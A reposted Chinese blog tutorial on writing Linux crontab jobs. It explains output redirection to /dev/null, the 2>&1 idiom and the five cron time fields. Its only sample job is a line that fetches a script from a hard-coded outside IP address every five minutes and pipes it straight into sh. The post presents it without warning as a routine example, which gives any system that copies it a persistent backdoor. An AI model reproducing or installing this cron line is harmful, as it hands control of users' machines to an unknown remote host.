Linux系统编写定时任务流程规范及注意事项

定时任务编辑规范流程:

Linux系统编写定时任务流程规范及注意事项

重要知识点:

切记用全路径编写定时脚本、定时任务
大部分在 crontab 计划任务中都会年到未尾带 >/dev/null 2>&1,是什么意思呢?
> 是重定向
/dev/null 代表空设备文件
1 表示stdout标准输出,系统默认值是1,所以 ">/dev/null" 等同于 "1>/dev/null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

整句的意思就是标准输出重定向到空设备文件,也就是不输出任何信息到终端,标准错误输出重定向等同于标准输出,
因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件

&>/dev/null 即不管输出是什么都从定向到/dev/null
command > file 2>file 与 command > file 2>&1 有什么区别呢?
command > file 2>file 的意思是将命令所产生的标准输出信息,和错误的输出信息送到file 中.
command > file 2>file 这样的写法,stdout和stderr都直接送到file中, file会被打开两次,
这样stdout和stderr会互相覆盖,这样写相当使用了FD1和FD2两个同时去抢占file 的管道。
而command >file 2>&1 这条命令就将stdout直接送向file, stderr 继承了FD1管道后,再被送往file,
此时,file 只被打开了一次,也只使用了一个管道FD1,它包括了stdout和stderr的内容。
从IO效率上,前一条命令的效率要比后面一条的命令效率要低,所以在编写shell脚本的时候,
较多的时候我们会用command > file 2>&1 这样的写法。

定时任务语法:

01  *     *    *      *     cmd
分   时   日   月   周   任务

crontab语法格式中时间段的含义如下表
段 含义 取值范围(整数)
第一段 代表分钟 00 – 59 (00也可以是0)
第二段 代表小时 00 – 23
第三段 代表日,天 01 – 31
第四段 代表月份 01 – 12
第五段 代表星期,周几 0 -7(0和7都代表星期日)
提示:时间记忆口诀(分时日月周)。取值范围记录(正常日期时间范围)

定时任务编辑位置:/etc/crontab
编辑定时任务:crontab -e
查看当前用户定时任务:crontab -l

定时任务例子:

*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

转载于:https://blog.51cto.com/ilctc/2090852

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值